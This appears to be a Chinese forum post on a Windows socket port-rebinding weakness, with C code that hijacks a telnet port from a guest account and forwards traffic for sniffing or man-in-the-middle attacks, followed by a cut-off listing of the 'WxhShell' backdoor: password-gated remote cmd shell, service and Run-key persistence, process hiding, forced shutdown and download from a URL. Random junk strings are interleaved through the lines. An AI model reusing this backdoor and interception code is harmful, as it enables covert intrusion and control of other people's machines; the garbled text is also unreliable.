在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
;tWi4iT+. s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
>8EmfjUoc ;BW-ag \9 saddr.sin_family = AF_INET;
,L;%-}#$ L[. )!c8k saddr.sin_addr.s_addr = htonl(INADDR_ANY);
zC WN,K` _YA;Nd#%k bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
wT&P].5n >_u5"&q 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
DxzNg_E] <]u]rZc$ 这意味着什么?意味着可以进行如下的攻击:
hOr4C4 7D=gAMPvJ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
2T-3rC) ]Vd1fkXO0 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
8M6Qn7{L ,Ad{k 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
,H5o/qNU`{ HC
RmW' 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
uE&2M>2 Ta)6ly7' 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
PHg(O:3WG 7KZ>x*o 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
S,GM!YZg N3|aNQ=X0 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
+5ue)` VR vX^w0 #include
S!R:a>\ #include
f= 33+8I #include
JA
" #include
}EJ'tio] DWORD WINAPI ClientThread(LPVOID lpParam);
l/6(V: int main()
]3~X!(O {
($s%B WORD wVersionRequested;
%s#`Z [8, DWORD ret;
M6*8}\ WSADATA wsaData;
4/QQX;w BOOL val;
-3Auo0 SOCKADDR_IN saddr;
4 moVS1 SOCKADDR_IN scaddr;
3.D|xE]g int err;
W4rh7e4 SOCKET s;
i&zJwUr(< SOCKET sc;
ufXU int caddsize;
3R[,,WAj$ HANDLE mt;
(d}z>?L DWORD tid;
(!dwUB wVersionRequested = MAKEWORD( 2, 2 );
TuMD+^x err = WSAStartup( wVersionRequested, &wsaData );
ka[%p, H if ( err != 0 ) {
@^K_>s9B printf("error!WSAStartup failed!\n");
C:P.+AU"` return -1;
V1\x.0Fs }
X{;3gN saddr.sin_family = AF_INET;
(0QYX[(r~o B{-+1f4 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
}OLBEhGs uz@WW!+o saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
?ubIh.d saddr.sin_port = htons(23);
U66 zm9
3& if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
q-nM]Gm {
"(^1Dm$( printf("error!socket failed!\n");
Iw;J7[hJ&$ return -1;
5JA5:4aev }
u9,ZY> val = TRUE;
KI8Q
=* //SO_REUSEADDR选项就是可以实现端口重绑定的
qh~S)^zFJ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
5:
O,-b& {
Tp
fC printf("error!setsockopt failed!\n");
D3kx&AR return -1;
etLA F }
=]hPX //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
=U<6TP]{ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
I
DtGtkF //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
\:d|'r8OCM sp&)1?!M if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
bx%P-r31 {
t 4tXLI;' ret=GetLastError();
*XSHzoT* printf("error!bind failed!\n");
bhc
.UmH return -1;
]2'{W]m }
'X1fb:8m8 listen(s,2);
`B7 1 ` while(1)
cb9q0sdf {
Q.`O;D}x caddsize = sizeof(scaddr);
K)8N8Js( //接受连接请求
4f{(Scg sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
]Qb85;0) if(sc!=INVALID_SOCKET)
} l4d/I {
_9Y7.5 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
d&[.=M\E8 if(mt==NULL)
Ex3V[v+D( {
K#oF=4_/| printf("Thread Creat Failed!\n");
*Zi:^<hv break;
x1nqhSaD }
c=A)_ZFg }
z4[S02s CloseHandle(mt);
%$.]g }
9t^Q_ [hG closesocket(s);
p?+*R@O WSACleanup();
Kg MW return 0;
4Js9"<w }
[MVG\6Up( DWORD WINAPI ClientThread(LPVOID lpParam)
f;PvXq<7" {
h>[][c(b SOCKET ss = (SOCKET)lpParam;
-jOCzp SOCKET sc;
^qD@qJ unsigned char buf[4096];
|XdkJv] SOCKADDR_IN saddr;
7L\kna< long num;
M,nLPHgK DWORD val;
X6lR?6u%| DWORD ret;
<xWBS/K //如果是隐藏端口应用的话,可以在此处加一些判断
@fwk //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
!O~5<tA[#1 saddr.sin_family = AF_INET;
60u}iiC@ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
$VLCD saddr.sin_port = htons(23);
`:fc*n,* if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
h%T$m_ {
:~1p printf("error!socket failed!\n");
+8etCx return -1;
PgY q=|]` }
I%<,JRAV val = 100;
L_WVTz?` if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
G[=8Ko0U+n {
{_i.IPp~ ret = GetLastError();
|p7k2wzN return -1;
h"~GaI }
R0!qweGi@ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
7iJ=~po:o {
7f9i5E1 ret = GetLastError();
ZHku3)V=o return -1;
`]xot8 }
D3+UV+&R/ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
xRx8E;Q@h? {
EL[N%M3 printf("error!socket connect failed!\n");
9O/l{ closesocket(sc);
p&%M=SzN closesocket(ss);
w/(hEF ' return -1;
P_f>a?OL: }
O]Mz1 ev| while(1)
_+\hDV>v {
mjd9]HgN //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
FGP~^Dr/ //如果是嗅探内容的话,可以再此处进行内容分析和记录
r ]cC4%in //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
?/,sKF74i num = recv(ss,buf,4096,0);
8VwByk8
if(num>0)
2-3|0<` send(sc,buf,num,0);
z!={d1u#T else if(num==0)
+AT!IZrB2i break;
IiV#V num = recv(sc,buf,4096,0);
?*~Pgh >uL if(num>0)
ir4uy send(ss,buf,num,0);
,DT=( else if(num==0)
u/% 4WgA break;
W*xz 0 }
{bUd"Tu closesocket(ss);
o9:GKc closesocket(sc);
;rj=hc return 0 ;
m*h, <,}-+ }
q?=eD^] &&w7- C(-bh]J ==========================================================
"KY9MBzPD aeESS;JxJj 下边附上一个代码,,WXhSHELL
BW>f@;egg "Iy @PR?> ==========================================================
=%:mZ@x' I499Rrw#E #include "stdafx.h"
VvwQz#S r"a4;&mf #include <stdio.h>
SR#%gR_SC #include <string.h>
nD\X3g`V #include <windows.h>
[`^x;*C #include <winsock2.h>
a$c7d~p$I #include <winsvc.h>
^ ,Bxq^'D #include <urlmon.h>
&/7AW(? K/ q:aMq #pragma comment (lib, "Ws2_32.lib")
ba?]eK #pragma comment (lib, "urlmon.lib")
Zcg=a_ )>)_>[ #define MAX_USER 100 // 最大客户端连接数
Ah_'.r1<P9 #define BUF_SOCK 200 // sock buffer
#]ii/Et#x #define KEY_BUFF 255 // 输入 buffer
?Rl?Pp=> z,nRw/o #define REBOOT 0 // 重启
~>@Dn40 #define SHUTDOWN 1 // 关机
.Lrdw3( V*U7-{ *a #define DEF_PORT 5000 // 监听端口
$cev,OW6] @|&P#wd.u #define REG_LEN 16 // 注册表键长度
(U/xpj} #define SVC_LEN 80 // NT服务名长度
C!SB5G>OH .cA[b // 从dll定义API
47"ERfP typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
+:2(xgOP.V typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
2-| oN/FD typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
_Gy*" ;E typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
0\AYUa?RM $-VW)~Sl // wxhshell配置信息
,vQkvuz struct WSCFG {
>RxZ-.,a int ws_port; // 监听端口
KM|[:v char ws_passstr[REG_LEN]; // 口令
ushQWP) int ws_autoins; // 安装标记, 1=yes 0=no
d]h[]Su/? char ws_regname[REG_LEN]; // 注册表键名
n<7#?X7 char ws_svcname[REG_LEN]; // 服务名
|B4dFI? char ws_svcdisp[SVC_LEN]; // 服务显示名
s&vOwPmV char ws_svcdesc[SVC_LEN]; // 服务描述信息
4qjY,QJ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Z{RgpVt int ws_downexe; // 下载执行标记, 1=yes 0=no
~s{$&N char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
'<m[ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
mxjY-Kq |mrAvm}
};
-4b9( lN 1 T\ // default Wxhshell configuration
9F kwtF struct WSCFG wscfg={DEF_PORT,
xYRL4 "xuhuanlingzhe",
1O9V Ej5 1,
1S\q\kz->D "Wxhshell",
bM8b3,}?n "Wxhshell",
u9m"{KnV "WxhShell Service",
L4SFu.J' "Wrsky Windows CmdShell Service",
g;=jZ "Please Input Your Password: ",
"xS",6Sy 1,
GS$OrUA "
http://www.wrsky.com/wxhshell.exe",
sBF}j.b "Wxhshell.exe"
61T"K };
'fcJ]%-= 6}Y^X // 消息定义模块
X"8Jk4y char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
|)pT"` char *msg_ws_prompt="\n\r? for help\n\r#>";
SLz^Wg._ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
v"_hWJ) char *msg_ws_ext="\n\rExit.";
5`6@CRef char *msg_ws_end="\n\rQuit.";
2#6yO`?uo char *msg_ws_boot="\n\rReboot...";
b)$<aFl char *msg_ws_poff="\n\rShutdown...";
E[2c`XFd8 char *msg_ws_down="\n\rSave to ";
Y4!v1 QS_"fsyN: char *msg_ws_err="\n\rErr!";
<8r%_ '] char *msg_ws_ok="\n\rOK!";
2}I1z_dq~ C/_W>H_
char ExeFile[MAX_PATH];
O,9KhX+ int nUser = 0;
b V;R}3) HANDLE handles[MAX_USER];
yZ 6560(q int OsIsNt;
A#2Fd7& '!{zO"
1* SERVICE_STATUS serviceStatus;
kP6g0,\|a| SERVICE_STATUS_HANDLE hServiceStatusHandle;
eNu`\ .\{GU9|nO // 函数声明
&cayhL/% int Install(void);
}I,]"0b int Uninstall(void);
<G\q/!@_ int DownloadFile(char *sURL, SOCKET wsh);
cRT@Cu int Boot(int flag);
2@:Go`mg void HideProc(void);
5"^$3&) int GetOsVer(void);
6/.-V1*O int Wxhshell(SOCKET wsl);
?$pp% void TalkWithClient(void *cs);
Bz9!a k~4 int CmdShell(SOCKET sock);
?J6J#{LRd int StartFromService(void);
@\z2FJ79w int StartWxhshell(LPSTR lpCmdLine);
{Z1j>h$ V8`t7[r VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
>F!2ib8 VOID WINAPI NTServiceHandler( DWORD fdwControl );
(6>8Dt 9[ HeNg<5v%Y // 数据结构和表定义
9'\18_w SERVICE_TABLE_ENTRY DispatchTable[] =
P8).Qn {
V
;1$FNR
{wscfg.ws_svcname, NTServiceMain},
Z-*L[ {NULL, NULL}
#l+U(zH:JG };
#
x!47Y{ AnP7KSN[\ // 自我安装
q*mNVBy int Install(void)
V[5-A $ft {
|94"bDL3~ char svExeFile[MAX_PATH];
Q(T)s HKEY key;
}tua0{N:z strcpy(svExeFile,ExeFile);
b{b2L. JC_Y#kN@z // 如果是win9x系统,修改注册表设为自启动
O3j:Y|N@F if(!OsIsNt) {
Jj8z ~3XnJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
C~yfuPr\B RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
vjhd| RegCloseKey(key);
B=jJ+R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
ic%<39 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
"<Dn%r RegCloseKey(key);
T\{ on[O return 0;
A{bt
Z#k }
F@& R"- }
(/a2#iW }
N&]v\MjI62 else {
lQ<2Vw#Yl E5~HH($b // 如果是NT以上系统,安装为系统服务
!\'7j-6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
+?w 7Nm` if (schSCManager!=0)
GLp2
?fon {
#5wOgOv SC_HANDLE schService = CreateService
hq6B
pE (
jr|(K*; schSCManager,
r/$+'~apTk wscfg.ws_svcname,
c*-8h{} wscfg.ws_svcdisp,
pEuZsQ SERVICE_ALL_ACCESS,
mSp- SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
.{1G"(z SERVICE_AUTO_START,
zH0%;
o} SERVICE_ERROR_NORMAL,
yM}}mypS svExeFile,
9z$]hl NULL,
WS/^WxRY NULL,
n#uH^@#0 NULL,
3l_Ko%qS NULL,
`MAee8u' NULL
X/gIH/ );
gbsRf&4h if (schService!=0)
OL4I}^*, {
!
@{rkp CloseServiceHandle(schService);
1P.
W 34 CloseServiceHandle(schSCManager);
W=c7>s0> strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Nwr.mtvh strcat(svExeFile,wscfg.ws_svcname);
:3^b>(W. if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
X^r5su? RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
\V
/s RegCloseKey(key);
SpPG return 0;
an_qE}P }
zlF*F8>m }
L$=@j_V2 CloseServiceHandle(schSCManager);
1+~JGY# }
L-hK(W!8pt }
x|d Xa0=N_ Z.am^Q^Y! return 1;
A{iI,IFe }
8/,m8UOY uSLO"\zysX // 自我卸载
!
E`Tt[ int Uninstall(void)
vA2@Db} {
9uV/G7Geq HKEY key;
\(Dq=UzQI l+Dl~o} if(!OsIsNt) {
(#Z2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
,],"tzKtE RegDeleteValue(key,wscfg.ws_regname);
Fvf308[ RegCloseKey(key);
S~d_SU~>` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
IT!
a)d RegDeleteValue(key,wscfg.ws_regname);
&I
Iw>,, RegCloseKey(key);
1 mhX3 return 0;
t
j&+HC }
qR4(' }
?BT\)@h }
bN$`&fC0 else {
gP"p7\
( %Fig`qX SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
@[#U_T- I if (schSCManager!=0)
%y)5:] {
jIv%?8+% SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
wUWSW< if (schService!=0)
9r-]@6; {
s
`HSTq2 if(DeleteService(schService)!=0) {
xB_F?d40T5 CloseServiceHandle(schService);
}ddwL CloseServiceHandle(schSCManager);
0@d )DLM? return 0;
A"x1MjuqLM }
ZZOBMF7 CloseServiceHandle(schService);
#gq4%; }
&f'\9lO CloseServiceHandle(schSCManager);
M[ $(Pu }
FL% GW: }
6kuN) Ni*f1[sI< return 1;
@/*{8UBP }
:LBG6J x^Tjs<# // 从指定url下载文件
xy>wA int DownloadFile(char *sURL, SOCKET wsh)
LuY`mi {
Mnyg:y*= HRESULT hr;
[H;HrwM
s) char seps[]= "/";
z!;n\CV @ char *token;
[]:;8fY char *file;
vzJ69%E_ char myURL[MAX_PATH];
wLC!vX.S char myFILE[MAX_PATH];
q4{Pm $OW |7]7~ 6l strcpy(myURL,sURL);
Qw4P{>|Y token=strtok(myURL,seps);
ATCFdtNc while(token!=NULL)
| qtdmm {
Yh_H$uW file=token;
F+PIZ% token=strtok(NULL,seps);
D5fJuT-bp }
S>}jsP:V 0}Rxe GetCurrentDirectory(MAX_PATH,myFILE);
<h|XB}s+ strcat(myFILE, "\\");
z_R^n#A~r strcat(myFILE, file);
`bu3S}m7 send(wsh,myFILE,strlen(myFILE),0);
)#k*K9[@ send(wsh,"...",3,0);
R 5 47 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
eO;i1 > if(hr==S_OK)
'ah|cMRn return 0;
kv&%$cA else
^@ s!"c return 1;
'<~rV 5w"f.d' }
DfwxPt# ;~T)pG8IS // 系统电源模块
j}XTa[ int Boot(int flag)
Q1EY!AV8 {
=2uE\6Fl, HANDLE hToken;
(q`Jef TOKEN_PRIVILEGES tkp;
5r"BavA u\=gps/Z if(OsIsNt) {
11}sRu/ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
FP<RoA?W LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
KJWYG^zI tkp.PrivilegeCount = 1;
9+@"DuYc6 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
xal,j* AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
ov: h4 if(flag==REBOOT) {
i@e.Uzn if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
/*p4(D_A return 0;
d,[.=Jqv[ }
^-{ 1]G: else {
hPr*<2mp if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Sxf|gDC return 0;
!e@G[%k }
RrKAgw }
a
OR} else {
I8HUH*|)n if(flag==REBOOT) {
{:m5<6?x) if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
?GqFtNz return 0;
uA=6 HpDB }
oc'#sE else {
2+"=i/8 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
.O @bX) return 0;
G}ElQD }
W=M&U }
|57KTiiNLI /{ YUM~ return 1;
>0)E\_ u }
@v_E'
9QG^ w8:F^{ // win9x进程隐藏模块
5~k-c Ua void HideProc(void)
:}x\&]uC#k {
B[ae<V0k Ht?
u{\p@ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
1 Uz'=a if ( hKernel != NULL )
zr@Bf!VG: {
RtH[OZu(8 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
xou7j
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
]Vhhx`0 FreeLibrary(hKernel);
^.Q{Aqu#.H }
+5Ir=]=T9 (ii 5p nq return;
Ek_k_! }
d hiLv_/ JfKhYRl // 获取操作系统版本
-`wGF#}y(= int GetOsVer(void)
G+4a%?JH {
;Fcdjy OSVERSIONINFO winfo;
#W
1`vke3 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
( f8g}2 GetVersionEx(&winfo);
~cSC-|$^& if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
C
fQj7{ return 1;
N;A1e@bP else
Fdd$Bl.&XS return 0;
z%ljEI"<C }
m#,
F%s ERL(>) // 客户端句柄模块
R8EDJ2u# int Wxhshell(SOCKET wsl)
Bx
E1Ky8@A {
I OF~V)8k= SOCKET wsh;
'\1%%F7 struct sockaddr_in client;
aO
"JT DWORD myID;
\yb^%$hZ0
@l"GfDfL9 while(nUser<MAX_USER)
j='Ne5X1 {
'7>Vmr6 int nSize=sizeof(client);
QC4_\V>[ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
tt|U,o if(wsh==INVALID_SOCKET) return 1;
AEPgQ9#E |Y(].G, handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
zQ]IlMt if(handles[nUser]==0)
j /-p3#c closesocket(wsh);
)t&|oQ3sVG else
~SM2W% nUser++;
\'E _ }
a6WE,4T9 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
6e |
rC_K
L return 0;
=eac,]31 }
Uw61X>y= sf\;|`} // 关闭 socket
P_-zkw void CloseIt(SOCKET wsh)
+hjc~|RK {
V$q%=Sip closesocket(wsh);
2_r}4)z nUser--;
>ID 3oi ExitThread(0);
5`x9+XvoN }
UeHS4cW lBQ|= // 客户端请求句柄
rUlpo|B void TalkWithClient(void *cs)
DX$`\PA {
D:n0dfPU wO8^|Yf SOCKET wsh=(SOCKET)cs;
<@*mFq0 , char pwd[SVC_LEN];
9-Ib+/R0 char cmd[KEY_BUFF];
lS?f?n^ char chr[1];
ip>dHj
z int i,j;
d/t'N-m -2
tZ while (nUser < MAX_USER) {
`R:<(: Q7=J[,V: 2 if(wscfg.ws_passstr) {
y9s5{\H if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
q<hN\kBs //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
sE/9~L //ZeroMemory(pwd,KEY_BUFF);
Pv1psKu i=0;
Y%=A>~s*c: while(i<SVC_LEN) {
{B\.8)&8 &-cI| // 设置超时
MIR17%G fd_set FdRead;
Q&QR{?PMD struct timeval TimeOut;
WM@uxe, FD_ZERO(&FdRead);
<wE2ly&x FD_SET(wsh,&FdRead);
Jr''S}@|x TimeOut.tv_sec=8;
]|[xY8 5} TimeOut.tv_usec=0;
|0qk int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
0-|1}/{4 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
H>DJ-lG( Ab_aB+g ] if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
xVl90ak pwd
=chr[0]; -\NB*|9m|
if(chr[0]==0xd || chr[0]==0xa) { 'Y
vW|Iq
pwd=0; 3\(s=-vh
break; /itO xrA
} (4g;-*N
i++; ]/$tt@h
} 'rR\H2b
;m`I}h<
// 如果是非法用户,关闭 socket }kOhwT8sI
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); klch!m=d
} Fa/i./V2
j zPC9
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); CJu;X[6
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fA3
yS3x))
while(1) { fmSw%r|pT
\C<rg|
ZeroMemory(cmd,KEY_BUFF); }`_2fJ6
"lz!'~im
// 自动支持客户端 telnet标准 *Lh0E/5
j=0; "(C}Dn#
while(j<KEY_BUFF) { e<C5}#wt
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /FYa{.Vlr
cmd[j]=chr[0]; qp{NRNkQ
if(chr[0]==0xa || chr[0]==0xd) { 1qQgAhoY
cmd[j]=0; hD$U8~zK
break; )(ma
} 3BSeZ:j7
j++; s-C.+9
} M?\)&2f[Z
F~DG:x~
// 下载文件 ($cu!$lY~
if(strstr(cmd,"http://")) { g{D&|qWj
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y]Fq)-
if(DownloadFile(cmd,wsh)) Vy/g;ZPU1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); NA3yd^sr
else {(tE pr
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3oKqj>
} *e8V4P
else { {T^'&W>8G8
FF_$)%YUp
switch(cmd[0]) { XsR%_eT
+2?0]6EQ
// 帮助 9m'[52{o
case '?': { 4u(}eE
f7
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 96PVn
break; 1L9^N
} 4p-$5Fk8}
// 安装 -p;oe}|
case 'i': { 4]+ ^K`
if(Install()) 6F(yH4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7"[lWC!As5
else m9q%l_
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |Ji?p>\~
break; YT3QwN9
} _Ng*K]0/E
// 卸载 &x3"Rq_
case 'r': { <r\)hx0ov
if(Uninstall()) siG?Sd_2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %fyb?6?Y
else xH
f9N?
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sEj:%`l|
break; 7<tqT
@c
} b\+|g9Tm
// 显示 wxhshell 所在路径 n$Pv2qw
case 'p': { JRiuU:=J~`
char svExeFile[MAX_PATH]; \W\6m0-x
strcpy(svExeFile,"\n\r"); Pw7'6W1
strcat(svExeFile,ExeFile); YVaQ3o|!
send(wsh,svExeFile,strlen(svExeFile),0); &t8_J3?Z
break; OcH- `A
} UMX+h])#N
// 重启 \LYQZ*F
case 'b': { D-~Jj&7
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);
b:3hKW
if(Boot(REBOOT)) zk/!#5JtK
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $e;!nI;z
else { *.+>ur?t
closesocket(wsh); QP;b\11m
ExitThread(0); mvL'l)
} B>]5/!_4
break; z84W{!
P
} ft*0?2N~
// 关机 N Hh
case 'd': { M!hby31
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $%E9^F
if(Boot(SHUTDOWN)) ,mX|TI<*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); A8RT3OiXA
else { (gf\VYM-7
closesocket(wsh); FEZ6X
ExitThread(0); KGWENX_U
} q%'ovX(dm
break; 395o[YZx*
} \I'Zc]
// 获取shell `kv$B3
case 's': { I L=v[)en4
CmdShell(wsh); Gzfb|9,q
closesocket(wsh); R] [M_ r
ExitThread(0); KALg6DZe:
break; Gu}x+hG
} 5HIpoj;\(
// 退出 6nfkZvn
case 'x': { '?>eW2d
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1h#k&r#*3
CloseIt(wsh); qN0#=X
break; M+E5PZ|_
} I>3]4mI*a
// 离开 4GfLS.Ip
case 'q': { /SKr.S61e
send(wsh,msg_ws_end,strlen(msg_ws_end),0); W@C56fCa
closesocket(wsh); q5!l(QL.
WSACleanup(); n>0dz#
exit(1); Fa!)$eb7
break; 48ma&f;
} =qtoDe
} iy#OmI>j
} YJ^ lM\/<
h]MVFn{
// 提示信息 u`'z~N4}
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }H#t( 9,U
} #rpqt{ml
} eq+o_R}CS
-Wn.@bz6B
return; '*XNgvX
} Q Bw
ZfX
%1@<),
// shell模块句柄 tN{t-xUgk
int CmdShell(SOCKET sock) @NNLzqqY
{ >h[!gXL^
STARTUPINFO si; /kA19E4
ZeroMemory(&si,sizeof(si)); B
R:
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r^E]GDz
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4ufLP DH
PROCESS_INFORMATION ProcessInfo; q-G|@6O
char cmdline[]="cmd"; P\mm8s`f
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9i<-\w^$
return 0; _o?(t\B9{
} c9uT`h
a-E-hX2
// 自身启动模式 w~U`+2a3
int StartFromService(void) rc$!$~|I3Z
{ mVK 9NK
typedef struct v|I5Gz$qpa
{ ~8m>DSs)D
DWORD ExitStatus; KY`96~z
DWORD PebBaseAddress; xNm32~
DWORD AffinityMask; _0*>I1F~
